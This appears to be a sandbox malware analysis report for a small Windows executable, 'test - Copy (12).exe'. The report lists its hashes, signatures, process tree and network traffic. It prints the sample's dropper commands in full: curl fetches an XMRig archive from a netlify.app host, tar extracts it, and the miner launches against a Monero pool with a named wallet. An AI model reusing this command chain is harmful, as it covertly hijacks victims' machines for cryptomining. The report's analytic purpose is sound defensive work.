Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
3test - Copy (10).exe
windows10-2004-x64
10test - Copy (11).exe
windows10-2004-x64
10test - Copy (12).exe
windows10-2004-x64
10test - Copy (13).exe
windows10-2004-x64
10test - Copy (14).exe
windows10-2004-x64
10test - Copy (2).exe
windows10-2004-x64
10test - Copy (3).exe
windows10-2004-x64
10test - Copy (4).exe
windows10-2004-x64
10test - Copy (5).exe
windows10-2004-x64
10test - Copy (6).exe
windows10-2004-x64
10test - Copy (7).exe
windows10-2004-x64
10test - Copy (8).exe
windows10-2004-x64
10test - Copy (9).exe
windows10-2004-x64
10test - Copy.exe
windows10-2004-x64
10test.exe
windows10-2004-x64
10Resubmissions
11/03/2024, 21:08 UTC
240311-zy7ywsed31 1011/03/2024, 21:06 UTC
240311-zx53xagd73 1011/03/2024, 21:02 UTC
240311-zvwrfsec3x 1011/03/2024, 21:01 UTC
240311-ztxx5aeb9x 1011/03/2024, 20:59 UTC
240311-zs72psgc56 1011/03/2024, 20:57 UTC
240311-zrmpdaeb3v 1011/03/2024, 20:56 UTC
240311-zqzbsagb66 1011/03/2024, 20:55 UTC
240311-zqlexsgb55 1011/03/2024, 20:54 UTC
240311-zp4j4sgb43 1011/03/2024, 20:53 UTC
240311-zplz3agb32 10Analysis
-
max time kernel
140s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
11/03/2024, 20:54 UTC
Static task
static1
Behavioral task
behavioral1
Sample
test - Copy (10).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral2
Sample
test - Copy (11).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral3
Sample
test - Copy (12).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral4
Sample
test - Copy (13).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral5
Sample
test - Copy (14).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral6
Sample
test - Copy (2).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral7
Sample
test - Copy (3).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral8
Sample
test - Copy (4).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
test - Copy (5).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral10
Sample
test - Copy (6).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral11
Sample
test - Copy (7).exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral12
Sample
test - Copy (8).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral13
Sample
test - Copy (9).exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral14
Sample
test - Copy.exe
Resource
win10v2004-20240226-en
General
-
Target
test - Copy (12).exe
-
Size
6KB
-
MD5
4634098fe194204dc03f967cc0b19cd6
-
SHA1
eaa58619c6cea9f148cec61ee504cd727b3e80d8
-
SHA256
a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
-
SHA512
64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d
-
SSDEEP
96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s
Malware Config
Signatures
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral3/files/0x0007000000023232-20.dat family_xmrig behavioral3/files/0x0007000000023232-20.dat xmrig behavioral3/memory/3988-25-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-26-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-28-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-30-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-31-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-32-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-33-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-34-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-35-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig behavioral3/memory/3988-36-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation test - Copy (12).exe -
Executes dropped EXE 1 IoCs
pid Process 3988 xmrig.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeLockMemoryPrivilege 3988 xmrig.exe Token: SeLockMemoryPrivilege 3988 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3988 xmrig.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 968 wrote to memory of 776 968 test - Copy (12).exe 90 PID 968 wrote to memory of 776 968 test - Copy (12).exe 90 PID 776 wrote to memory of 1964 776 cmd.exe 92 PID 776 wrote to memory of 1964 776 cmd.exe 92 PID 776 wrote to memory of 632 776 cmd.exe 101 PID 776 wrote to memory of 632 776 cmd.exe 101 PID 776 wrote to memory of 3988 776 cmd.exe 102 PID 776 wrote to memory of 3988 776 cmd.exe 102
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:968 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\f0B1DkBz.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:776 -
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵PID:1964
-
-
C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵PID:632
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3988
-
-
Network
-
Remote address:8.8.8.8:53Request1488.netlify.appIN AResponse1488.netlify.appIN A18.192.231.2521488.netlify.appIN A35.156.224.161
-
Remote address:18.192.231.252:443RequestGET /xmrig-6.21.1-gcc-win64.zip HTTP/1.1
Host: 1488.netlify.app
User-Agent: curl/7.55.1
Accept: */*
ResponseHTTP/1.1 200 OK
Age: 3391
Cache-Control: public,max-age=0,must-revalidate
Cache-Status: "Netlify Edge"; hit
Content-Length: 3336525
Content-Type: application/zip
Date: Mon, 11 Mar 2024 20:54:41 GMT
Etag: "3f561091cdba4bace650b26717533c91-ssl"
Server: Netlify
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Nf-Request-Id: 01HRQMQKXP5HR9EJHFE6R7QPN6
-
Remote address:8.8.8.8:53Request140.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request196.249.167.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestg.bing.comIN AResponseg.bing.comIN CNAMEg-bing-com.a-0001.a-msedge.netg-bing-com.a-0001.a-msedge.netIN CNAMEdual-a-0001.a-msedge.netdual-a-0001.a-msedge.netIN A204.79.197.200dual-a-0001.a-msedge.netIN A13.107.21.200
-
GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=Remote address:204.79.197.200:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MUID=1FA38557AFE36B451DC69168AE036A39; domain=.bing.com; expires=Sat, 05-Apr-2025 20:54:40 GMT; path=/; SameSite=None; Secure; Priority=High;
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 990F522DC797417E902DF245928ABA8A Ref B: LON04EDGE1218 Ref C: 2024-03-11T20:54:40Z
date: Mon, 11 Mar 2024 20:54:40 GMT
-
GEThttps://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=Remote address:204.79.197.200:443RequestGET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=1FA38557AFE36B451DC69168AE036A39
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MSPTC=njDYbpCFx73AJ2WdfQU0aEGPBn62o-06iJR5cj8G5mc; domain=.bing.com; expires=Sat, 05-Apr-2025 20:54:41 GMT; path=/; Partitioned; secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: CAD94E5E5DD1452AB25BBC40E8276203 Ref B: LON04EDGE1218 Ref C: 2024-03-11T20:54:41Z
date: Mon, 11 Mar 2024 20:54:40 GMT
-
GEThttps://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=Remote address:204.79.197.200:443RequestGET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid= HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=1FA38557AFE36B451DC69168AE036A39; MSPTC=njDYbpCFx73AJ2WdfQU0aEGPBn62o-06iJR5cj8G5mc
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 193C4E42D9EB4F7EAAD2C5F2A1A679A2 Ref B: LON04EDGE1218 Ref C: 2024-03-11T20:54:41Z
date: Mon, 11 Mar 2024 20:54:40 GMT
-
Remote address:8.8.8.8:53Request252.231.192.18.in-addr.arpaIN PTRResponse252.231.192.18.in-addr.arpaIN PTRec2-18-192-231-252eu-central-1compute amazonawscom
-
Remote address:8.8.8.8:53Request5.179.17.96.in-addr.arpaIN PTRResponse5.179.17.96.in-addr.arpaIN PTRa96-17-179-5deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request205.47.74.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request9.228.82.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestxmr.2miners.comIN AResponsexmr.2miners.comIN A162.19.139.184
-
Remote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request182.245.100.95.in-addr.arpaIN PTRResponse182.245.100.95.in-addr.arpaIN PTRa95-100-245-182deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request184.139.19.162.in-addr.arpaIN PTRResponse184.139.19.162.in-addr.arpaIN PTRp062minerscom
-
Remote address:8.8.8.8:53Request209.205.72.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTR
-
Remote address:8.8.8.8:53Request140.71.91.104.in-addr.arpaIN PTRResponse140.71.91.104.in-addr.arpaIN PTRa104-91-71-140deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request29.179.17.96.in-addr.arpaIN PTRResponse29.179.17.96.in-addr.arpaIN PTRa96-17-179-29deploystaticakamaitechnologiescom
-
83.6kB 3.5MB 1664 2710
HTTP Request
GET https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zipHTTP Response
200 -
46 B 1
-
204.79.197.200:443https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=tls, http22.0kB 9.2kB 21 19
HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=HTTP Response
204HTTP Request
GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=72e61dab89634fe89788dd228411cc68&localId=w:A3E46398-2B40-9BBE-4B55-BFD97648970D&deviceId=6966557507656450&anid=HTTP Response
204 -
1.5kB 3.9kB 20 17
-
62 B 94 B 1 1
DNS Request
1488.netlify.app
DNS Response
18.192.231.25235.156.224.161
-
72 B 158 B 1 1
DNS Request
140.32.126.40.in-addr.arpa
-
73 B 147 B 1 1
DNS Request
196.249.167.52.in-addr.arpa
-
56 B 158 B 1 1
DNS Request
g.bing.com
DNS Response
204.79.197.20013.107.21.200
-
73 B 140 B 1 1
DNS Request
252.231.192.18.in-addr.arpa
-
70 B 133 B 1 1
DNS Request
5.179.17.96.in-addr.arpa
-
71 B 157 B 1 1
DNS Request
205.47.74.20.in-addr.arpa
-
70 B 156 B 1 1
DNS Request
9.228.82.20.in-addr.arpa
-
61 B 77 B 1 1
DNS Request
xmr.2miners.com
DNS Response
162.19.139.184
-
72 B 146 B 1 1
DNS Request
26.165.165.52.in-addr.arpa
-
73 B 139 B 1 1
DNS Request
182.245.100.95.in-addr.arpa
-
73 B 102 B 1 1
DNS Request
184.139.19.162.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
209.205.72.20.in-addr.arpa
-
140 B 144 B 2 1
DNS Request
18.31.95.13.in-addr.arpa
DNS Request
18.31.95.13.in-addr.arpa
-
72 B 137 B 1 1
DNS Request
140.71.91.104.in-addr.arpa
-
71 B 135 B 1 1
DNS Request
29.179.17.96.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
421B
MD567d11b392feb0ad59fc11ff3e79dfeee
SHA17df5785988cb76c4893773614572c93baaa18717
SHA25669bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d
SHA51250835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11
-
Filesize
1.9MB
MD50b8bebe768270f5ee7b5467cc6c2c91a
SHA18d5c72f040946a4f3ac1b76b9f0b415c62603ffe
SHA2561ffc3f91e7f50949efa3280d20ac5ccefa26cb079610906d0d730b1f59eae51b
SHA512709eebfd900740779c944cb06bc99be31e5277fbb0c7e5909c7b568784a810cf81b64200cee925890c14f4fba384c15970a86740589d5ab057f447e2dd347dee
-
Filesize
1.8MB
MD578dbb99aba1f459c508197c7a82d9936
SHA1298446dd64686c4f7e0dc31ff6ccc2d72d516e59
SHA2569066cc9e474657962177666d749656c75a1d90d6e2adb9a26ea39e13136a2086
SHA512414206575fe47734cafda720da623ed3000801be290343a7134cc2b240b8050cc0f434890e66078d898da7c0cfac77e261c4c791bed8675b213ed1ffe0b2be2b